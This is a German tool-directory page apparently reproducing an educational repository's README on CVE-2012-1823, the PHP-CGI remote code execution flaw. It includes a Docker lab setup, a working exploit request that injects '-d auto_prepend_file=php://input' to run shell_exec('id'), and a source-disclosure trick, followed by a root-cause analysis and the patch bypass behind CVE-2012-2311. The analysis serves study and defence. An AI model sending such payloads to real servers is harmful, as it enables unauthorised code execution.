Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PHP_CVE-2012-1823 — Bildungspraktischer PoC und Analyse von CVE-2012-1823, einer PHP-CGI Remote-Code-Ausführungssicherheitslücke. Enthält eine Docker-basierte Testumgebung, Exploit-Demonstration und detaillierte technische Aufschlüsselung der Grundursache sowie Umgehungen. | Kitploit
Tools/GitHubGitHub/cyberharsh/php_cve-2012-1823
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubcyberharsh/php_cve-2012-1823

PHP_CVE-2012-1823

Bildungspraktischer PoC und Analyse von CVE-2012-1823, einer PHP-CGI Remote-Code-Ausführungssicherheitslücke. Enthält eine Docker-basierte Testumgebung, Exploit-Demonstration und detaillierte technische Aufschlüsselung der Grundursache sowie Umgehungen.

Repository anzeigen
112vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHP-CGI-Remote-Code-Execution-Schwachstelle (CVE-2012-1823)

Prinzip

  • Referenzartikel http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
  • Betroffene Versionen php < 5.3.12 oder php < 5.4.2

Testumgebung

Kompilierung und Ausführungsumgebung:

root@kitploit:~
docker-compose build
docker-compose up -d

Nach dem Start der Umgebung zeigt der Aufruf von http://your-ip:8080/ den Text "Hello".

Der Aufruf von http://your-ip:8080/index.php?-s gibt den Quellcode aus, was die Existenz der Schwachstelle beweist. Senden Sie das folgende Datenpaket; der Code im Body wird ausgeführt:

root@kitploit:~
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>

Schwachstellen-Erläuterung

PHP SAPI und Ausführungsmodi

Zunächst eine Einführung in die Ausführungsmodi von PHP.

Lädt man den PHP-Quellcode herunter, sieht man ein Verzeichnis namens sapi. Die Rolle von sapi in PHP ähnelt der eines Nachrichtenübermittlers. Beispielsweise nimmt das in meinem Artikel "Fastcgi-Protokollanalyse && PHP-FPM-Unautorisierte-Zugriffsschwachstelle && Exploit-Erstellung" vorgestellte fpm Daten entgegen, die der Webcontainer über das Fastcgi-Protokoll verpackt hat, und übergibt sie an den PHP-Interpreter zur Ausführung.

Neben fpm ist die häufigste sapi vermutlich das für Apache verwendete mod_php, das für den Datenaustausch zwischen PHP und Apache zuständig ist.

php-cgi ist ebenfalls eine sapi. In frühen Zeiten war die Funktionsweise von Webanwendungen einfach: Der Webcontainer empfing ein HTTP-Datenpaket, holte die vom Benutzer angeforderte Datei (CGI-Skript), forkte einen Unterprozess (Interpreter) zur Ausführung dieser Datei, erhielt das Ergebnis und gab es direkt an den Benutzer zurück, woraufhin der Interpreter-Unterprozess endete. Webanwendungen auf Basis von Sprachen wie Bash oder Perl werden meist auf diese Weise ausgeführt; dieser Ausführungsmodus wird allgemein als CGI bezeichnet. Bei der Installation von Apache gibt es standardmäßig ein Verzeichnis cgi-bin, in dem ursprünglich diese CGI-Skripte abgelegt wurden.

Der CGI-Modus hat jedoch einen entscheidenden Nachteil: Bekanntermaßen verursacht die Erstellung und Verwaltung von Prozessen einen gewissen Overhead, und die Anzahl der Prozesse ist nicht unbegrenzt. Daher können Websites, die auf dem CGI-Modus basieren, normalerweise nicht viele Anfragen gleichzeitig verarbeiten – jede Anfrage erzeugt einen Unterprozess, was den Server überlasten kann. Später wurde FastCGI entwickelt. Ein FastCGI-Prozess kann dauerhaft im Hintergrund laufen, Datenpakete über das FastCGI-Protokoll empfangen, ausführen und Ergebnisse zurückgeben, ohne sich selbst zu beenden.

PHP besitzt eine sapi namens php-cgi, die zwei Funktionen hat: Sie bietet sowohl eine CGI-Interaktion als auch eine FastCGI-Interaktion. Das bedeutet, wir können wie bei Perl den Webcontainer einen php-cgi-Prozess forken lassen, um ein Skript auszuführen; oder wir lassen php-cgi -b 127.0.0.1:9000 im Hintergrund laufen (php-cgi als FastCGI-Manager) und lassen den Webcontainer über das FastCGI-Protokoll mit Port 9000 kommunizieren.

Was ist dann das zuvor erwähnte fpm? Warum hat PHP zwei FastCGI-Manager? PHP hat tatsächlich zwei FastCGI-Manager: php-cgi kann im FastCGI-Modus laufen, und auch fpm läuft im FastCGI-Modus. fpm wurde jedoch in PHP 5.3 eingeführt und ist ein effizienterer FastCGI-Manager. Seine vielen Vorteile spare ich mir hier – man kann selbst im Quellcode nachlesen. Da fpm mehr Vorteile bietet, verwenden immer mehr Webanwendungen php-fpm, um PHP auszuführen.

Historische Ursache

Kommen wir zur Schwachstelle zurück. CVE-2012-1823 ist eine Schwachstelle, die in der sapi php-cgi auftritt. Oben habe ich die beiden von php-cgi bereitgestellten Ausführungsmodi beschrieben: CGI und FastCGI. Diese Schwachstelle tritt nur bei PHP auf, das im CGI-Modus läuft.

Einfach ausgedrückt, wird bei dieser Schwachstelle der Query-String der Benutzeranfrage als Parameter an php-cgi übergeben, was letztlich zu einer Reihe von Folgen führt.

Bei der Untersuchung des Prinzips legt RFC3875 fest, dass der Query-String als CGI-Parameter übergeben werden soll, wenn er kein unkodiertes =-Zeichen enthält. Der Apache-Server hat diese Funktion daher wie gefordert implementiert.

PHP beachtete diese Regel des RFC jedoch nicht – vielleicht wurde sie früher beachtet und behandelt, indem Parameter im Webkontext nicht erlaubt wurden. Aber im Jahr 2004 äußerte sich ein Entwickler wie folgt:

root@kitploit:~
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
 
In our SAPI cgi we have a check along these lines:
 
    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }
 
    if(!cgi) getopt(...)
 
As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.
 
The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:
 
  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>
 
and have it work both from the command line and from a web context.
 
As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.
 
-Rasmus

Offensichtlich wollte dieser Entwickler die Verwendung von #!/usr/local/bin/php-cgi -d include_path=/path zu Testzwecken erleichtern und war der Ansicht, dass php-cgi nicht daran gehindert werden sollte, Kommandozeilenparameter zu akzeptieren, und dass diese Funktion mit keinem anderen Code in Konflikt stehe.

Daraufhin wurde if(!cgi) getopt(...) entfernt.

Aber gemäß der Erläuterung der Kommandozeile im RFC können Kommandozeilenparameter nicht nur über #!/usr/local/bin/php-cgi -d include_path=/path an php-cgi übergeben werden, sondern auch über den Query-String.

Das ist der historische Ursprung dieser Schwachstelle.

Schwachstellenausnutzung

Was kann man mit steuerbaren Kommandozeilenparametern anstellen?

Durch das Lesen des Quellcodes fand ich im CGI-Modus die folgenden verfügbaren Parameter:

  • -c Gibt den Pfad zur php.ini-Datei an
  • -n Lädt die php.ini-Datei nicht
  • -d Gibt Konfigurationseinträge an
  • -b Startet einen FastCGI-Prozess
  • -s Zeigt den Quellcode der Datei an
  • -T Führt die angegebene Datei eine bestimmte Anzahl von Malen aus
  • -h und -? Zeigt Hilfe an

Die einfachste Nutzungsmöglichkeit ist natürlich -s, um den Quellcode direkt anzuzeigen:

Aber Leser meines Artikels über FastCGI werden schnell eine bessere Nutzungsmöglichkeit erkannt haben: Durch die Verwendung von -d zur Angabe von auto_prepend_file kann eine Arbitrary File Inclusion-Schwachstelle erzeugt werden, um beliebigen Code auszuführen:

Hinweis: Leerzeichen werden durch + oder %20 ersetzt, = durch URL-Kodierung ersetzt.

CVE-2012-2311

Nachdem diese Schwachstelle bekannt wurde, veröffentlichte PHP offizielle Patches in den neuen Versionen 5.4.2 und 5.3.12. Der Patch war jedoch unvollständig und konnte umgangen werden, was zur Folge hatte, dass die Schwachstelle CVE-2012-2311 entstand.

Der Fix von PHP bestand darin, eine Prüfung auf - durchzuführen:

root@kitploit:~
if(query_string = getenv("QUERY_STRING")) {
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

Wie zu sehen, wird nach dem Dekodieren des Query-Strings geprüft, ob das erste Zeichen ein - ist. Falls ja, wird skip_getopt gesetzt, d.h. die Kommandozeilenparameter werden nicht abgerufen.

Diese Reparaturmethode ist unsicher, wenn der Administrator php-cgi in einem Wrapper verwendet:

root@kitploit:~
#!/bin/sh

exec /usr/local/bin/php-cgi $*

Durch die Verwendung von Leerzeichen plus - können ebenfalls Parameter übergeben werden. In diesem Fall ist das erste Zeichen des Query-Strings ein Leerzeichen und nicht -, wodurch die obige Prüfung umgangen wird.

Daher wurde in PHP 5.4.3 und 5.3.13 eine weitere Änderung vorgenommen:

root@kitploit:~
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
	/* we've got query string that has no = - apache CGI will pass it to command line */
	unsigned char *p;
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
		/* skip all leading spaces */
	}
	if(*p == '-') {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

Zuerst werden alle führenden Leerzeichen übersprungen (alle Zeichen kleiner oder gleich dem Leerzeichen), dann wird geprüft, ob das erste Zeichen ein - ist.

Tool herunterladen